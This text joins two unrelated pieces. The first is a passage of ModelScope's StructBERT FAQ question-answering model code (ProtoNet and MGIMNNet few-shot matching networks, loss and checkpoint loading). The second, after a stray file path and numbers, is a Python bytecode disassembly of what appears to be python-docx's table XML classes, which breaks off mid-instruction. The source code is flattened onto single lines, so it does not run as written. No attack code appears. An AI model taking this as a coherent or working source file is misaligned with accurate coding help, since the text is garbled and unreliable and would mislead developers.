scores(:obj:`torch.FloatTensor` of shape :obj:`(batch_size, num_cls)`): Predicted scores of all classes for each query. Examples: >>> from modelscope.hub.snapshot_download import snapshot_download >>> from modelscope.preprocessors import FaqQuestionAnsweringTransformersPreprocessor >>> from modelscope.models.nlp import SbertForFaqQuestionAnswering >>> cache_path = snapshot_download('damo/nlp_structbert_faq-question-answering_chinese-base') >>> preprocessor = FaqQuestionAnsweringTransformersPreprocessor.from_pretrained(cache_path) >>> model = SbertForFaqQuestionAnswering.from_pretrained(cache_path) >>> param = { >>> 'query_set': ['如何使用优惠券', '在哪里领券', '在哪里领券'], >>> 'support_set': [{ >>> 'text': '卖品代金券怎么用', >>> 'label': '6527856' >>> }, { >>> 'text': '怎么使用优惠券', >>> 'label': '6527856' >>> }, { >>> 'text': '这个可以一起领吗', >>> 'label': '1000012000' >>> }, { >>> 'text': '付款时送的优惠券哪里领', >>> 'label': '1000012000' >>> }, { >>> 'text': '购物等级怎么长', >>> 'label': '13421097' >>> }, { >>> 'text': '购物等级二心', >>> 'label': '13421097' >>> }] >>> } >>> result = model(preprocessor(param)) """ query = input["query"] support = input["support"] query_mask = input["query_attention_mask"] support_mask = input["support_attention_mask"] support_labels = input["support_labels"] logits, scores = self.network( query, support, query_mask, support_mask, support_labels ) if "labels" in input: query_labels = input["labels"] num_cls = torch.max(support_labels) + 1 loss = self._compute_loss(logits, query_labels, num_cls) pred_labels = torch.argmax(scores, dim=1) return FaqQuestionAnsweringOutput( loss=loss, logits=scores, labels=pred_labels ).to_dict() else: return FaqQuestionAnsweringOutput(scores=scores) def _compute_loss(self, logits, target, num_cls): onehot_labels = get_onehot_labels(target, num_cls) loss = BCEWithLogitsLoss(reduction="mean")(logits, onehot_labels) return loss def forward_sentence_embedding(self, inputs): return self.network.sentence_embedding(inputs) def load_checkpoint( self, model_local_dir, default_dtype=None, load_state_fn=None, **kwargs ): ckpt_file = os.path.join(model_local_dir, "pytorch_model.bin") state_dict = torch.load(ckpt_file, map_location="cpu") new_state_dict = {} for var_name, var_value in state_dict.items(): new_var_name = var_name if not str(var_name).startswith("network"): new_var_name = f"network.{var_name}" new_state_dict[new_var_name] = var_value if default_dtype is not None: torch.set_default_dtype(default_dtype) ( missing_keys, unexpected_keys, mismatched_keys, error_msgs, ) = self._load_checkpoint( new_state_dict, load_state_fn=load_state_fn, ignore_mismatched_sizes=True, _fast_init=True, ) return { "missing_keys": missing_keys, "unexpected_keys": unexpected_keys, "mismatched_keys": mismatched_keys, "error_msgs": error_msgs, } def get_onehot_labels(target, num_cls): target = target.view(-1, 1) size = target.shape[0] target_oh = torch.zeros(size, num_cls).to(target) target_oh.scatter_(dim=1, index=target, value=1) return target_oh.view(size, num_cls).float() class ProtoNet(nn.Module): def __init__(self, backbone_config, model_config): super(ProtoNet, self).__init__() self.bert = SbertModel(backbone_config) args = _create_args(model_config, self.bert.config.hidden_size) self.metrics_layer = MetricsLayer(args) self.pooling = PoolingLayer(args) def __call__(self, query, support, query_mask, support_mask, support_labels): n_query = query.shape[0] num_cls = torch.max(support_labels) + 1 onehot_labels = get_onehot_labels(support_labels, num_cls) input_ids = torch.cat([query, support]) input_mask = torch.cat([query_mask, support_mask], dim=0) pooled_representation = self.sentence_embedding( {"input_ids": input_ids, "attention_mask": input_mask} ) z_query = pooled_representation[:n_query] z_support = pooled_representation[n_query:] cls_n_support = torch.sum(onehot_labels, dim=-2) + 1e-5 protos = torch.matmul( onehot_labels.transpose(0, 1), z_support ) / cls_n_support.unsqueeze(-1) logits = self.metrics_layer(z_query, protos).view([n_query, num_cls]) if self.metrics_layer.name == "relation": scores = torch.sigmoid(logits) else: scores = logits return logits, scores def sentence_embedding(self, inputs: Dict[str, Tensor]): input_ids = inputs["input_ids"] input_mask = inputs["attention_mask"] if not isinstance(input_ids, Tensor): input_ids = torch.IntTensor(input_ids) if not isinstance(input_mask, Tensor): input_mask = torch.IntTensor(input_mask) input_ids = input_ids.to(self.bert.device) input_mask = input_mask.to(self.bert.device) rst = self.bert(input_ids, input_mask) last_hidden_states = rst.last_hidden_state if len(input_mask.shape) == 2: input_mask = input_mask.unsqueeze(-1) pooled_representation = self.pooling(last_hidden_states, input_mask) return pooled_representation class MGIMNNet(nn.Module): INSTANCE_LEVEL_INTERACTION = "instance_level_interaction" EPISODE_LEVEL_INTERACTION = "episode_level_interaction" def __init__(self, backbone_config, model_config): super(MGIMNNet, self).__init__() self.bert = SbertModel(backbone_config) self.model_config = model_config self.alignment = Alignment() hidden_size = self.bert.config.hidden_size use_instance_level_interaction = self.safe_get( self.INSTANCE_LEVEL_INTERACTION, True ) use_episode_level_interaction = self.safe_get( self.EPISODE_LEVEL_INTERACTION, True ) output_size = ( 1 + int(use_instance_level_interaction) + int(use_episode_level_interaction) ) logger.info( f"faq MGIMN model class-level-interaction:true, instance-level-interaction:{use_instance_level_interaction}, \ episode-level-interaction:{use_episode_level_interaction}" ) self.fuse_proj = LinearProjection( hidden_size + hidden_size * 3 * output_size, hidden_size, activation="relu" ) args = _create_args(model_config, hidden_size) self.pooling = PoolingLayer(args) new_args = args._replace(pooling="avg") self.avg_pooling = PoolingLayer(new_args) self.instance_compare_layer = torch.nn.Sequential( LinearProjection(hidden_size * 4, hidden_size, activation="relu") ) self.prediction = torch.nn.Sequential( LinearProjection(hidden_size * 2, hidden_size, activation="relu"), nn.Dropout(0), LinearProjection(hidden_size, 1), ) def __call__(self, query, support, query_mask, support_mask, support_labels): z_query, z_support = self.context_embedding( query, support, query_mask, support_mask ) n_cls = int(torch.max(support_labels)) + 1 n_query, sent_len = query.shape n_support = support.shape[0] k_shot = n_support // n_cls q_params, s_params = {"n_cls": n_cls, "k_shot": k_shot}, {"n_query": n_query} if self.safe_get(self.INSTANCE_LEVEL_INTERACTION, True): ins_z_query, ins_z_support = self._instance_level_interaction( z_query, query_mask, z_support, support_mask ) q_params["ins_z_query"] = ins_z_query s_params["ins_z_support"] = ins_z_support cls_z_query, cls_z_support = self._class_level_interaction( z_query, query_mask, z_support, support_mask, n_cls ) q_params["cls_z_query"] = cls_z_query s_params["cls_z_support"] = cls_z_support if self.safe_get(self.EPISODE_LEVEL_INTERACTION, True): eps_z_query, eps_z_support = self._episode_level_interaction( z_query, query_mask, z_support, support_mask ) q_params["eps_z_query"] = eps_z_query s_params["eps_z_support"] = eps_z_support fused_z_query = self._fuse_query(z_query, **q_params) fused_z_support = self._fuse_support(z_support, **s_params) query_mask_expanded = ( query_mask.unsqueeze(1) .repeat(1, n_support, 1) .view(n_query * n_support, sent_len, 1) ) support_mask_expanded = ( support_mask.unsqueeze(0) .repeat(n_query, 1, 1) .view(n_query * n_support, sent_len, 1) ) Q = self.pooling(fused_z_query, query_mask_expanded) S = self.pooling(fused_z_support, support_mask_expanded) matching_feature = self._instance_compare(Q, S, n_query, n_cls, k_shot) logits = self.prediction(matching_feature) logits = logits.view(n_query, n_cls) return logits, torch.sigmoid(logits) def _instance_compare(self, Q, S, n_query, n_cls, k_shot): z_dim = Q.shape[-1] S = S.view(n_query, n_cls * k_shot, z_dim) Q = Q.view(n_query, k_shot * n_cls, z_dim) cat_features = torch.cat([Q, S, Q * S, (Q - S).abs()], dim=-1) instance_matching_feature = self.instance_compare_layer(cat_features) instance_matching_feature = instance_matching_feature.view( n_query, n_cls, k_shot, z_dim ) cls_matching_feature_mean = instance_matching_feature.mean(2) cls_matching_feature_max, _ = instance_matching_feature.max(2) cls_matching_feature = torch.cat( [cls_matching_feature_mean, cls_matching_feature_max], dim=-1 ) return cls_matching_feature def _instance_level_interaction(self, z_query, query_mask, z_support, support_mask): n_query, sent_len, z_dim = z_query.shape n_support = z_support.shape[0] z_query = ( z_query.unsqueeze(1) .repeat(1, n_support, 1, 1) .view(n_query * n_support, sent_len, z_dim) ) query_mask = ( query_mask.unsqueeze(1) .repeat(1, n_support, 1) .view(n_query * n_support, sent_len, 1) ) z_support = ( z_support.unsqueeze(0) .repeat(n_query, 1, 1, 1) .view(n_query * n_support, sent_len, z_dim) ) support_mask = ( support_mask.unsqueeze(0) .repeat(n_query, 1, 1, 1) .view(n_query * n_support, sent_len, 1) ) attn = self.alignment(z_query, z_support, query_mask, support_mask) attn_a = F.softmax(attn, dim=1) attn_b = F.softmax(attn, dim=2) ins_support = torch.matmul(attn_a.transpose(1, 2), z_query) ins_query = torch.matmul(attn_b, z_support) return ins_query, ins_support def _class_level_interaction( self, z_query, query_mask, z_support, support_mask, n_cls ): z_support_ori = z_support support_mask_ori = support_mask n_query, sent_len, z_dim = z_query.shape n_support = z_support.shape[0] k_shot = n_support // n_cls z_query = ( z_query.unsqueeze(1) .repeat(1, n_cls, 1, 1) .view(n_query * n_cls, sent_len, z_dim) ) query_mask = ( query_mask.unsqueeze(1) .unsqueeze(-1) .repeat(1, n_cls, 1, 1) .view(n_query * n_cls, sent_len, 1) ) z_support = ( z_support.unsqueeze(0) .repeat(n_query, 1, 1, 1) .view(n_query * n_cls, k_shot * sent_len, z_dim) ) support_mask = ( support_mask.unsqueeze(0) .unsqueeze(-1) .repeat(n_query, 1, 1, 1) .view(n_query * n_cls, k_shot * sent_len, 1) ) attn = self.alignment(z_query, z_support, query_mask, support_mask) attn_b = F.softmax(attn, dim=2) cls_query = torch.matmul(attn_b, z_support) cls_query = cls_query.view(n_query, n_cls, sent_len, z_dim) z_support = z_support_ori.view(n_cls, k_shot * sent_len, z_dim) support_mask = support_mask_ori.view(n_cls, k_shot * sent_len, 1) attn = self.alignment(z_support, z_support, support_mask, support_mask) attn_b = F.softmax(attn, dim=2) cls_support = torch.matmul(attn_b, z_support) cls_support = cls_support.view(n_cls * k_shot, sent_len, z_dim) return cls_query, cls_support def _episode_level_interaction(self, z_query, query_mask, z_support, support_mask): z_support_ori = z_support support_mask_ori = support_mask n_query, sent_len, z_dim = z_query.shape n_support = z_support.shape[0] query_mask = query_mask.view(n_query, sent_len, 1) z_support = ( z_support.unsqueeze(0) .repeat(n_query, 1, 1, 1) .view(n_query, n_support * sent_len, z_dim) ) support_mask = ( support_mask.unsqueeze(0) .unsqueeze(-1) .repeat(n_query, 1, 1, 1) .view(n_query, n_support * sent_len, 1) ) attn = self.alignment(z_query, z_support, query_mask, support_mask) attn_b = F.softmax(attn, dim=2) eps_query = torch.matmul(attn_b, z_support) z_support2 = z_support_ori.view(1, n_support * sent_len, z_dim).repeat( n_support, 1, 1 ) support_mask = support_mask_ori.view(1, n_support * sent_len, 1).repeat( n_support, 1, 1 ) attn = self.alignment( z_support_ori, z_support2, support_mask_ori.unsqueeze(-1), support_mask ) attn_b = F.softmax(attn, dim=2) eps_support = torch.matmul(attn_b, z_support2) eps_support = eps_support.view(n_support, sent_len, z_dim) return eps_query, eps_support def _fuse_query( self, x, n_cls, k_shot, ins_z_query=None, cls_z_query=None, eps_z_query=None ): n_query, sent_len, z_dim = x.shape assert cls_z_query is not None cls_features = ( cls_z_query.unsqueeze(2) .repeat(1, 1, k_shot, 1, 1) .view(n_cls * k_shot * n_query, sent_len, z_dim) ) x = ( x.unsqueeze(1) .repeat(1, n_cls * k_shot, 1, 1) .view(n_cls * k_shot * n_query, sent_len, z_dim) ) features = [x, cls_features, x * cls_features, (x - cls_features).abs()] if ins_z_query is not None: features.extend([ins_z_query, ins_z_query * x, (ins_z_query - x).abs()]) if eps_z_query is not None: eps_z_query = ( eps_z_query.unsqueeze(1) .repeat(1, n_cls * k_shot, 1, 1) .view(n_cls * k_shot * n_query, sent_len, z_dim) ) features.extend([eps_z_query, eps_z_query * x, (eps_z_query - x).abs()]) features = torch.cat(features, dim=-1) fusion_feat = self.fuse_proj(features) return fusion_feat def _fuse_support( self, x, n_query, ins_z_support=None, cls_z_support=None, eps_z_support=None ): assert cls_z_support is not None n_support, sent_len, z_dim = x.shape x = ( x.unsqueeze(0) .repeat(n_query, 1, 1, 1) .view(n_support * n_query, sent_len, z_dim) ) cls_features = ( cls_z_support.unsqueeze(0) .repeat(n_query, 1, 1, 1) .view(n_support * n_query, sent_len, z_dim) ) features = [x, cls_features, x * cls_features, (x - cls_features).abs()] if ins_z_support is not None: features.extend( [ins_z_support, ins_z_support * x, (ins_z_support - x).abs()] ) if eps_z_support is not None: eps_z_support = ( eps_z_support.unsqueeze(0) .repeat(n_query, 1, 1, 1) .view(n_query * n_support, sent_len, z_dim) ) features.extend( [eps_z_support, eps_z_support * x, (eps_z_support - x).abs()] ) features = torch.cat(features, dim=-1) fusion_feat = self.fuse_proj(features) return fusion_feat def context_embedding(self, query, support, query_mask, support_mask): n_query = query.shape[0] n_support = support.shape[0] x = torch.cat([query, support], dim=0) x_mask = torch.cat([query_mask, support_mask], dim=0) last_hidden_state = self.bert(x, x_mask).last_hidden_state z_dim = last_hidden_state.shape[-1] sent_len = last_hidden_state.shape[-2] z_query = last_hidden_state[:n_query].view([n_query, sent_len, z_dim]) z_support = last_hidden_state[n_query:].view([n_support, sent_len, z_dim]) return z_query, z_support def sentence_embedding(self, inputs: Dict[str, Tensor]): input_ids = inputs["input_ids"] input_mask = inputs["attention_mask"] if not isinstance(input_ids, Tensor): input_ids = torch.IntTensor(input_ids) if not isinstance(input_mask, Tensor): input_mask = torch.IntTensor(input_mask) rst = self.bert(input_ids, input_mask) last_hidden_states = rst.last_hidden_state if len(input_mask.shape) == 2: input_mask = input_mask.unsqueeze(-1) pooled_representation = self.avg_pooling(last_hidden_states, input_mask) return pooled_representation def safe_get(self, k, default=None): try: return self.model_config.get(k, default) except Exception as e: logger.debug(f"{k} not in model_config, use default:{default}") logger.debug(e) return default
data/modelscope-1.12.0/modelscope/models/nlp/structbert/faq_question_answering.py
13,945
9,003
314,181
LOAD_CONST 'Custom element classes for tables.' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST ('annotations',) IMPORT_NAME __future__ IMPORT_FROM annotations STORE_NAME annotations POP_TOP LOAD_CONST 0 LOAD_CONST ('TYPE_CHECKING', 'Callable', 'List') IMPORT_NAME typing IMPORT_FROM TYPE_CHECKING STORE_NAME TYPE_CHECKING IMPORT_FROM Callable STORE_NAME Callable IMPORT_FROM List STORE_NAME List POP_TOP LOAD_CONST 0 LOAD_CONST ('WD_CELL_VERTICAL_ALIGNMENT', 'WD_ROW_HEIGHT_RULE') IMPORT_NAME docx.enum.table IMPORT_FROM WD_CELL_VERTICAL_ALIGNMENT STORE_NAME WD_CELL_VERTICAL_ALIGNMENT IMPORT_FROM WD_ROW_HEIGHT_RULE STORE_NAME WD_ROW_HEIGHT_RULE POP_TOP LOAD_CONST 0 LOAD_CONST ('InvalidSpanError',) IMPORT_NAME docx.exceptions IMPORT_FROM InvalidSpanError STORE_NAME InvalidSpanError POP_TOP LOAD_CONST 0 LOAD_CONST ('nsdecls', 'qn') IMPORT_NAME docx.oxml.ns IMPORT_FROM nsdecls STORE_NAME nsdecls IMPORT_FROM qn STORE_NAME qn POP_TOP LOAD_CONST 0 LOAD_CONST ('parse_xml',) IMPORT_NAME docx.oxml.parser IMPORT_FROM parse_xml STORE_NAME parse_xml POP_TOP LOAD_CONST 0 LOAD_CONST ('ST_Merge', 'ST_TblLayoutType', 'ST_TblWidth', 'ST_TwipsMeasure', 'XsdInt') IMPORT_NAME docx.oxml.simpletypes IMPORT_FROM ST_Merge STORE_NAME ST_Merge IMPORT_FROM ST_TblLayoutType STORE_NAME ST_TblLayoutType IMPORT_FROM ST_TblWidth STORE_NAME ST_TblWidth IMPORT_FROM ST_TwipsMeasure STORE_NAME ST_TwipsMeasure IMPORT_FROM XsdInt STORE_NAME XsdInt POP_TOP LOAD_CONST 0 LOAD_CONST ('BaseOxmlElement', 'OneAndOnlyOne', 'OneOrMore', 'OptionalAttribute', 'RequiredAttribute', 'ZeroOrMore', 'ZeroOrOne') IMPORT_NAME docx.oxml.xmlchemy IMPORT_FROM BaseOxmlElement STORE_NAME BaseOxmlElement IMPORT_FROM OneAndOnlyOne STORE_NAME OneAndOnlyOne IMPORT_FROM OneOrMore STORE_NAME OneOrMore IMPORT_FROM OptionalAttribute STORE_NAME OptionalAttribute IMPORT_FROM RequiredAttribute STORE_NAME RequiredAttribute IMPORT_FROM ZeroOrMore STORE_NAME ZeroOrMore IMPORT_FROM ZeroOrOne STORE_NAME ZeroOrOne POP_TOP LOAD_CONST 0 LOAD_CONST ('Emu', 'Twips') IMPORT_NAME docx.shared IMPORT_FROM Emu STORE_NAME Emu IMPORT_FROM Twips STORE_NAME Twips POP_TOP LOAD_NAME TYPE_CHECKING POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('CT_P',) IMPORT_NAME docx.oxml.text.paragraph IMPORT_FROM CT_P STORE_NAME CT_P POP_TOP LOAD_CONST 0 LOAD_CONST ('Length',) IMPORT_NAME docx.shared IMPORT_FROM Length STORE_NAME Length POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object CT_Height at 0x7fab823a7300, file "f.py", line 34> LOAD_CONST 'CT_Height' MAKE_FUNCTION LOAD_CONST 'CT_Height' LOAD_NAME BaseOxmlElement CALL_FUNCTION STORE_NAME CT_Height LOAD_BUILD_CLASS LOAD_CONST <code object CT_Row at 0x7fab8002f9c0, file "f.py", line 41> LOAD_CONST 'CT_Row' MAKE_FUNCTION LOAD_CONST 'CT_Row' LOAD_NAME BaseOxmlElement CALL_FUNCTION STORE_NAME CT_Row LOAD_BUILD_CLASS LOAD_CONST <code object CT_Tbl at 0x7fab8002fc90, file "f.py", line 108> LOAD_CONST 'CT_Tbl' MAKE_FUNCTION LOAD_CONST 'CT_Tbl' LOAD_NAME BaseOxmlElement CALL_FUNCTION STORE_NAME CT_Tbl LOAD_BUILD_CLASS LOAD_CONST <code object CT_TblGrid at 0x7fab8002f300, file "f.py", line 231> LOAD_CONST 'CT_TblGrid' MAKE_FUNCTION LOAD_CONST 'CT_TblGrid' LOAD_NAME BaseOxmlElement CALL_FUNCTION STORE_NAME CT_TblGrid LOAD_BUILD_CLASS LOAD_CONST <code object CT_TblGridCol at 0x7fab8002f780, file "f.py", line 238> LOAD_CONST 'CT_TblGridCol' MAKE_FUNCTION LOAD_CONST 'CT_TblGridCol' LOAD_NAME BaseOxmlElement CALL_FUNCTION STORE_NAME CT_TblGridCol LOAD_BUILD_CLASS LOAD_CONST <code object CT_TblLayoutType at 0x7fab8002fe40, file "f.py", line 250> LOAD_CONST 'CT_TblLayoutType' MAKE_FUNCTION LOAD_CONST 'CT_TblLayoutType' LOAD_NAME BaseOxmlElement CALL_FUNCTION STORE_NAME CT_TblLayoutType LOAD_BUILD_CLASS LOAD_CONST <code object CT_TblPr at 0x7fab820b1300, file "f.py", line 257> LOAD_CONST 'CT_TblPr' MAKE_FUNCTION LOAD_CONST 'CT_TblPr' LOAD_NAME BaseOxmlElement CALL_FUNCTION STORE_NAME CT_TblPr LOAD_BUILD_CLASS LOAD_CONST <code object CT_TblWidth at 0x7fab820b14b0, file "f.py", line 338> LOAD_CONST 'CT_TblWidth' MAKE_FUNCTION LOAD_CONST 'CT_TblWidth' LOAD_NAME BaseOxmlElement CALL_FUNCTION STORE_NAME CT_TblWidth LOAD_BUILD_CLASS LOAD_CONST <code object CT_Tc at 0x7fab802c9c00, file "f.py", line 359> LOAD_CONST 'CT_Tc' MAKE_FUNCTION LOAD_CONST 'CT_Tc' LOAD_NAME BaseOxmlElement CALL_FUNCTION STORE_NAME CT_Tc LOAD_BUILD_CLASS LOAD_CONST <code object CT_TcPr at 0x7fab8027c150, file "f.py", line 706> LOAD_CONST 'CT_TcPr' MAKE_FUNCTION LOAD_CONST 'CT_TcPr' LOAD_NAME BaseOxmlElement CALL_FUNCTION STORE_NAME CT_TcPr LOAD_BUILD_CLASS LOAD_CONST <code object CT_TrPr at 0x7fab8027c4b0, file "f.py", line 801> LOAD_CONST 'CT_TrPr' MAKE_FUNCTION LOAD_CONST 'CT_TrPr' LOAD_NAME BaseOxmlElement CALL_FUNCTION STORE_NAME CT_TrPr LOAD_BUILD_CLASS LOAD_CONST <code object CT_VerticalJc at 0x7fab8027c540, file "f.py", line 855> LOAD_CONST 'CT_VerticalJc' MAKE_FUNCTION LOAD_CONST 'CT_VerticalJc' LOAD_NAME BaseOxmlElement CALL_FUNCTION STORE_NAME CT_VerticalJc LOAD_BUILD_CLASS LOAD_CONST <code object CT_VMerge at 0x7fab8027c5d0, file "f.py", line 861> LOAD_CONST 'CT_VMerge' MAKE_FUNCTION LOAD_CONST 'CT_VMerge' LOAD_NAME BaseOxmlElement CALL_FUNCTION STORE_NAME CT_VMerge LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CT_Height' STORE_NAME __qualname__ LOAD_CONST 'Used for ``<w:trHeight>`` to specify a row height and row height rule.' STORE_NAME __doc__ LOAD_NAME OptionalAttribute LOAD_CONST 'w:val' LOAD_NAME ST_TwipsMeasure CALL_FUNCTION STORE_NAME val LOAD_NAME OptionalAttribute LOAD_CONST 'w:hRule' LOAD_NAME WD_ROW_HEIGHT_RULE CALL_FUNCTION STORE_NAME hRule LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CT_Row' STORE_NAME __qualname__ LOAD_CONST '``<w:tr>`` element.' STORE_NAME __doc__ LOAD_NAME ZeroOrOne LOAD_CONST 'w:tblPrEx' CALL_FUNCTION STORE_NAME tblPrEx LOAD_NAME ZeroOrOne LOAD_CONST 'w:trPr' CALL_FUNCTION STORE_NAME trPr LOAD_NAME ZeroOrMore LOAD_CONST 'w:tc' CALL_FUNCTION STORE_NAME tc LOAD_CONST <code object tc_at_grid_col at 0x7fab823a74b0, file "f.py", line 48> LOAD_CONST 'CT_Row.tc_at_grid_col' MAKE_FUNCTION STORE_NAME tc_at_grid_col LOAD_NAME property LOAD_CONST <code object tr_idx at 0x7fab823a7540, file "f.py", line 62> LOAD_CONST 'CT_Row.tr_idx' MAKE_FUNCTION CALL_FUNCTION STORE_NAME tr_idx LOAD_NAME property LOAD_CONST <code object trHeight_hRule at 0x7fab5429d780, file "f.py", line 68> LOAD_CONST 'CT_Row.trHeight_hRule' MAKE_FUNCTION CALL_FUNCTION STORE_NAME trHeight_hRule LOAD_NAME trHeight_hRule LOAD_ATTR setter LOAD_CONST <code object trHeight_hRule at 0x7fab5429d660, file "f.py", line 76> LOAD_CONST 'CT_Row.trHeight_hRule' MAKE_FUNCTION CALL_FUNCTION STORE_NAME trHeight_hRule LOAD_NAME property LOAD_CONST <code object trHeight_val at 0x7fab5429db70, file "f.py", line 81> LOAD_CONST 'CT_Row.trHeight_val' MAKE_FUNCTION CALL_FUNCTION STORE_NAME trHeight_val LOAD_NAME trHeight_val LOAD_ATTR setter LOAD_CONST <code object trHeight_val at 0x7fab5429d6f0, file "f.py", line 89> LOAD_CONST 'CT_Row.trHeight_val' MAKE_FUNCTION CALL_FUNCTION STORE_NAME trHeight_val LOAD_CONST <code object _insert_tblPrEx at 0x7fab5429d030, file "f.py", line 94> LOAD_CONST 'CT_Row._insert_tblPrEx' MAKE_FUNCTION STORE_NAME _insert_tblPrEx LOAD_CONST <code object _insert_trPr at 0x7fab8002f390, file "f.py", line 97> LOAD_CONST 'CT_Row._insert_trPr' MAKE_FUNCTION STORE_NAME _insert_trPr LOAD_CONST <code object _new_tc at 0x7fab8002f8a0, file "f.py", line 104> LOAD_CONST 'CT_Row._new_tc' MAKE_FUNCTION STORE_NAME _new_tc LOAD_CONST None RETURN_VALUE LOAD_CONST 0 STORE_FAST grid_col SETUP_LOOP to 62 LOAD_FAST self LOAD_ATTR tc_lst GET_ITER FOR_ITER to 60 STORE_FAST tc LOAD_FAST grid_col LOAD_FAST idx COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST tc RETURN_VALUE LOAD_FAST grid_col LOAD_FAST tc LOAD_ATTR grid_span INPLACE_ADD STORE_FAST grid_col LOAD_FAST grid_col LOAD_FAST idx COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'no cell on grid column %d' LOAD_FAST idx BINARY_MODULO CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL ValueError LOAD_CONST 'index out of bounds' CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD getparent CALL_METHOD LOAD_ATTR tr_lst LOAD_METHOD index LOAD_FAST self CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_ATTR trPr STORE_FAST trPr LOAD_FAST trPr LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST trPr LOAD_ATTR trHeight_hRule RETURN_VALUE LOAD_FAST self LOAD_METHOD get_or_add_trPr CALL_METHOD STORE_FAST trPr LOAD_FAST value LOAD_FAST trPr STORE_ATTR trHeight_hRule LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR trPr STORE_FAST trPr LOAD_FAST trPr LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST trPr LOAD_ATTR trHeight_val RETURN_VALUE LOAD_FAST self LOAD_METHOD get_or_add_trPr CALL_METHOD STORE_FAST trPr LOAD_FAST value LOAD_FAST trPr STORE_ATTR trHeight_val LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD insert LOAD_CONST 0 LOAD_FAST tblPrEx CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR tblPrEx STORE_FAST tblPrEx LOAD_FAST tblPrEx LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST tblPrEx LOAD_METHOD addnext LOAD_FAST trPr CALL_METHOD POP_TOP JUMP_FORWARD to 38 LOAD_FAST self LOAD_METHOD insert LOAD_CONST 0 LOAD_FAST trPr CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL CT_Tc LOAD_METHOD new CALL_METHOD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CT_Tbl' STORE_NAME __qualname__ LOAD_CONST '``<w:tbl>`` element.' STORE_NAME __doc__ LOAD_NAME OneAndOnlyOne LOAD_CONST 'w:tblPr' CALL_FUNCTION STORE_NAME tblPr LOAD_NAME OneAndOnlyOne LOAD_CONST 'w:tblGrid' CALL_FUNCTION STORE_NAME tblGrid LOAD_NAME ZeroOrMore LOAD_CONST 'w:tr' CALL_FUNCTION STORE_NAME tr LOAD_NAME property LOAD_CONST <code object bidiVisual_val at 0x7fab8002fa50, file "f.py", line 115> LOAD_CONST 'CT_Tbl.bidiVisual_val' MAKE_FUNCTION CALL_FUNCTION STORE_NAME bidiVisual_val LOAD_NAME bidiVisual_val LOAD_ATTR setter LOAD_CONST <code object bidiVisual_val at 0x7fab8002fed0, file "f.py", line 126> LOAD_CONST 'CT_Tbl.bidiVisual_val' MAKE_FUNCTION CALL_FUNCTION STORE_NAME bidiVisual_val LOAD_NAME property LOAD_CONST <code object col_count at 0x7fab8002f4b0, file "f.py", line 134> LOAD_CONST 'CT_Tbl.col_count' MAKE_FUNCTION CALL_FUNCTION STORE_NAME col_count LOAD_CONST <code object iter_tcs at 0x7fab8002fc00, file "f.py", line 139> LOAD_CONST 'CT_Tbl.iter_tcs' MAKE_FUNCTION STORE_NAME iter_tcs LOAD_NAME classmethod LOAD_CONST 'int' LOAD_CONST 'int' LOAD_CONST 'Length' LOAD_CONST 'CT_Tbl' LOAD_CONST ('rows', 'cols', 'width', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object new_tbl at 0x7fab8002f5d0, file "f.py", line 150> LOAD_CONST 'CT_Tbl.new_tbl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME new_tbl LOAD_NAME property LOAD_CONST <code object tblStyle_val at 0x7fab8002f420, file "f.py", line 158> LOAD_CONST 'CT_Tbl.tblStyle_val' MAKE_FUNCTION CALL_FUNCTION STORE_NAME tblStyle_val LOAD_NAME tblStyle_val LOAD_ATTR setter LOAD_CONST <code object tblStyle_val at 0x7fab8002f270, file "f.py", line 167> LOAD_CONST 'CT_Tbl.tblStyle_val' MAKE_FUNCTION CALL_FUNCTION STORE_NAME tblStyle_val LOAD_NAME classmethod LOAD_CONST 'int' LOAD_CONST 'int' LOAD_CONST 'Length' LOAD_CONST 'str' LOAD_CONST ('rows', 'cols', 'width', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _tbl_xml at 0x7fab8002f030, file "f.py", line 179> LOAD_CONST 'CT_Tbl._tbl_xml' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _tbl_xml LOAD_NAME classmethod LOAD_CONST <code object _tblGrid_xml at 0x7fab8002fd20, file "f.py", line 199> LOAD_CONST 'CT_Tbl._tblGrid_xml' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _tblGrid_xml LOAD_NAME classmethod LOAD_CONST <code object _trs_xml at 0x7fab8002f540, file "f.py", line 207> LOAD_CONST 'CT_Tbl._trs_xml' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _trs_xml LOAD_NAME classmethod LOAD_CONST <code object _tcs_xml at 0x7fab8002f930, file "f.py", line 216> LOAD_CONST 'CT_Tbl._tcs_xml' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _tcs_xml LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR tblPr LOAD_ATTR bidiVisual STORE_FAST bidiVisual LOAD_FAST bidiVisual LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST bidiVisual LOAD_ATTR val RETURN_VALUE LOAD_FAST self LOAD_ATTR tblPr STORE_FAST tblPr LOAD_FAST value LOAD_CONST None 